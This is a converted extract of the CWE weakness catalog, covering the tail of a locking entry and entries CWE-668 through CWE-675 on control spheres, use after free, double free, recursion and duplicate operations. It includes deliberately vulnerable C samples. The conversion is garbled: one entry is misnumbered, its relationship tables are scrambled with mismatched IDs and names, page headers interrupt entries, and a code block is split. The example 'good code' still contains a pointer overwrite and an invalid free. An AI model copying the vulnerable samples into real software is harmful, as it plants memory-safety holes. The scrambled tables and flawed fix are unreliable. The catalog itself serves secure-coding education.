<td>CVE-2005-2456</td>
<td>Chain: array index error (CWE-129) leads to deadlock (CWE-833)</td>
</tr>
<tr>
<td>CVE-2005-3106</td>
<td>Race condition leads to deadlock.</td>
</tr>
<tr>
<td>CVE-2005-3847</td>
<td>OS kernel has deadlock triggered by a signal during a core dump.</td>
</tr>
<tr>
<td>CVE-2006-2275</td>
<td>Deadlock when large number of small messages cannot be processed quickly enough.</td>
</tr>
<tr>
<td>CVE-2006-2374</td>
<td>Deadlock in device driver triggered by using file handle of a related device.</td>
</tr>
<tr>
<td>CVE-2006-4342</td>
<td>Deadlock when an operation is performed on a resource while it is being removed.</td>
</tr>
<tr>
<td>CVE-2006-5158</td>
<td>Chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).</td>
</tr>
<tr>
<td>CVE-2008-4302</td>
<td>Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.</td>
</tr>
<tr>
<td>CVE-2009-0935</td>
<td>Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice</td>
</tr>
<tr>
<td>CVE-2009-1243</td>
<td>OS kernel performs an unlock in some incorrect circumstances, leading to panic.</td>
</tr>
<tr>
<td>CVE-2009-1388</td>
<td>Multiple simultaneous calls to the same function trigger deadlock.</td>
</tr>
<tr>
<td>CVE-2009-1961</td>
<td>OS deadlock involving 3 separate functions</td>
</tr>
<tr>
<td>CVE-2009-2699</td>
<td>Deadlock in library</td>
</tr>
<tr>
<td>CVE-2009-2857</td>
<td>OS deadlock</td>
</tr>
<tr>
<td>CVE-2009-4272</td>
<td>Deadlock triggered by packets that force collisions in a routing table</td>
</tr>
<tr>
<td>CVE-2010-4210</td>
<td>Function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
CWE Version 2.11

CWE-668: Exposure of Resource to Wrong Sphere

Implementation

Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>662</td>
<td>Improper Synchronization</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>413</td>
<td>Improper Resource Locking</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>414</td>
<td>Missing Lock Check</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>609</td>
<td>Double-Checked Locking</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>765</td>
<td>Multiple Unlocks of a Critical Resource</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>832</td>
<td>Unlock of a Resource that is not Locked</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>833</td>
<td>Deadlock</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>POS31-C</td>
<td>Do not unlock or destroy another thread’s mutex</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA00-J</td>
<td>Ensure visibility when accessing shared primitive variables</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA02-J</td>
<td>Ensure that compound operations on shared variables are atomic</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA05-J</td>
<td>Ensure atomicity when reading and writing 64-bit values</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK06-J</td>
<td>Do not use an instance lock to protect shared static data</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP19</td>
<td>Missing Lock</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>25</td>
<td>Forced Deadlock</td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>Leveraging Race Conditions via Symbolic Links</td>
<td></td>
</tr>
</tbody>
</table>

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668 (Weakness Class) Status: Draft

Description

Summary

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.
A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system. In either case, the end result is that a resource has been exposed to the wrong party.

### Time of Introduction
- Architecture and Design
- Implementation
- Operation

### Common Consequences

#### Confidentiality
- Integrity
- Other

#### Read application data
- Modify application data
- Other

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>627</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1028</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
<td>6</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>30</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>384</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
<td>412</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>220</td>
<td>Sensitive Data Under FTP Root</td>
<td>413</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
<td>653</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
<td>655</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
<td>657</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
<td>698</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
<td>735</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>428</td>
<td>Unquoted Search Path or Element</td>
<td>738</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>755</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>491</td>
<td>Public cloneable() Method Without Final ('Object Hijack')</td>
<td>828</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
<td>829</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>835</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>514</td>
<td>Covert Channel</td>
<td>860</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>865</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>892</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
<td>924</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>583</td>
<td>finalize() Method Declared Public</td>
<td>925</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
<td>956</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>995</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>1124</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>766</td>
<td>Critical Variable Declared Public</td>
<td>1173</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
<td>1175</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>927</td>
<td>Use of Implicit Intent for Sensitive Communication</td>
<td>1359</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>942</td>
<td>Overly Permissive Cross-domain Whitelist</td>
<td>1371</td>
</tr>
</tbody>
</table>
Theoretical Notes
A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relevant Properties
- Accessibility

CWE-699: Incorrect Resource Transfer Between Spheres

<table>
<thead>
<tr>
<th>Weakness ID: 669 (Weakness Class)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td></td>
</tr>
<tr>
<td>The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.</td>
<td></td>
</tr>
</tbody>
</table>

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
- Confidentiality
- Integrity
- Read application data
- Modify application data
- Unexpected state

Background Details
A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>1004</td>
<td>Sensitive Cookie Without 'HttpOnly' Flag</td>
<td>1000</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>1003</td>
<td>Time and State</td>
<td>699</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>699</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1003</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>1000</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>1028</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanFollow</td>
<td></td>
<td>837</td>
<td>Download of Code Without Integrity Check</td>
<td>1000</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>1000</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>949</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>1266</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-670: Always-Incorrect Control Flow Implementation

Relevant Properties
• Accessibility

Summary
The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description
This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Modes of Introduction
This issue typically appears in rarely-tested code, since the "always-incorrect" nature will be detected as a bug during normal usage.

Common Consequences
Other
Other
Alter execution logic

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1075</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>1387</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>811</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
<td>817</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>484</td>
<td>Omitted Break Statement in Switch</td>
<td>819</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>617</td>
<td>Reachable Assertion</td>
<td>966</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
<td>1082</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
<td>1203</td>
</tr>
</tbody>
</table>

Maintenance Notes
This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

CWE-671: Lack of Administrator Control over Security

Description

Summary
The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This
introduces resultant weaknesses or prevents it from operating at a level of security that is desired
by the administrator.

Extended Description
If the product's administrator does not have the ability to manage security-related decisions at all
times, then protecting the product from outside threats - including the product's developer - can
become impossible. For example, a hard-coded account name and password cannot be changed
by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences
Other
Varies by context

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1019</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1386</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>762</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1223</td>
</tr>
</tbody>
</table>

Relevant Properties
• Accessibility

CWE-672: Operation on a Resource after Expiration or Release

Weakness ID: 672 (Weakness Base) Status: Draft

Description
Summary
The software uses, accesses, or otherwise operates on a resource after that resource has been
expired, released, or revoked.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
Integrity
Confidentiality
Modify application data
Read application data
If a released resource is subsequently reused or reallocated, then an attempt to use the original
resource might allow access to sensitive data that is associated with a different user or entity.

Other
Availability
Other
DoS: crash / exit / restart
When a resource is released it might not be in an expected state, later attempts to access the
resource may lead to resultant errors that may lead to a crash.
Demonstrative Examples

Example 1:
The following code shows a simple example of a use after free error:

**C Example:**

```c
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:
The following code shows a simple example of a double free error:

**C Example:**

```c
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:
- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3:
In the following C/C++ example the method `processMessage` is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, `messageBody`, to be created for the message body. The `messageBody` is processed in the method `processMessageBody` that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the `messageBody` char array memory is released using the method `free` and an error message is sent to the `logError` method.

**C/C++ Example:**

```c
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if (((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
        int success = processMessageBody(messageBody);
        if (success == ERROR) {
            result = ERROR;
            free(messageBody);
        }
    }
}```
CWE Version 2.11

CWE-673: External Influence of Sphere Definition

CWE-673: External Influence of Sphere Definition

else {
  printf("Unable to process message; invalid message length");
  result = FAIL;
}
if (result == ERROR) {
  logError("Error processing message", messageBody);
}
return result;

However, the call to the method logError includes the messageBody after the memory for
messageBody has been released using the free method. This can cause unexpected results and
may lead to system crashes. A variable should never be used after its memory resources have
been released.

C/C++ Example:

Good Code

messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
  result = ERROR;
  logError("Error processing message", messageBody);
  free(messageBody);
}

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-3547</td>
<td>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699 627</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td>1000 1033</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800 1247</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>983</td>
<td>SFP Secondary Cluster: Faulty Resource Use</td>
<td>888 1390</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
<td>1000 528</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>1000 570</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
<td>1000 900</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>613</td>
<td>Insufficient SessionExpiration</td>
<td>1000 962</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>699 1259 1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>B</td>
<td>826</td>
<td>Premature Release of Resource During Expected Lifetime</td>
<td>1000 1261</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>910</td>
<td>Use of Expired File Descriptor</td>
<td>1000 1338</td>
</tr>
<tr>
<td>CanFollow</td>
<td>B</td>
<td>911</td>
<td>Improper Update of Reference Count</td>
<td>1000 1339</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP15</td>
<td>Faulty Resource Use</td>
</tr>
</tbody>
</table>

CWE-673: External Influence of Sphere Definition

Weakness ID: 673 (Weakness Class) Status: Draft

Description

Summary

The product does not prevent the definition of control spheres from external actors.

Extended Description
Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**
- Other
- Other

**Demonstrative Examples**

**Example 1:**
Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

**Example 2:**
In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

**Theoretical Notes**
A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

**Relevant Properties**
- Mutability

---

**CWE-674: Uncontrolled Recursion**

**Weakness ID:** 674 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**
The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.

**Alternate Terms**
- Stack Exhaustion

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
Languages
• All

Common Consequences
Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.

Confidentiality
Read application data
In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1285</td>
<td>Deeply nested arrays trigger stack exhaustion.</td>
</tr>
<tr>
<td>CVE-2007-3409</td>
<td>Self-referencing pointers create infinite loop and resultant stack exhaustion.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Limit the number of recursive calls to a reasonable number.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>361</td>
<td>Time and State</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>834</td>
<td>Excessive Iteration</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>985</td>
<td>SFP Secondary Cluster: Unrestricted Consumption</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>776</td>
<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
<td>699 1193</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Affected Resources
• CPU

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP13</td>
<td></td>
<td>Unrestricted Consumption</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>82</td>
<td>Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))</td>
</tr>
<tr>
<td>99</td>
<td>XML Parser Attack</td>
</tr>
<tr>
<td>230</td>
<td>XML Nested Payloads</td>
</tr>
<tr>
<td>231</td>
<td>XML Oversized Payloads</td>
</tr>
</tbody>
</table>

CWE-675: Duplicate Operations on Resource

<table>
<thead>
<tr>
<th>Weakness ID: 675 (Weakness Class)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The product performs the same operation on a resource two or more times, when the operation should only be applied once.

Time of Introduction
• Implementation

Applicable Platforms
CWE Version 2.11
CWE-676: Use of Potentially Dangerous Function

Languages
- All

Common Consequences
- Other

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>193</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>419</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>913</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
<td>928</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>1319</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>984</td>
<td>SFP Secondary Cluster: Life Cycle</td>
<td>1390</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>85</td>
<td>Doubled Character XSS Manipulations</td>
<td>151</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>174</td>
<td>Double Decoding of the Same Data</td>
<td>336</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>415</td>
<td>Double Free</td>
<td>718</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
<td>953</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
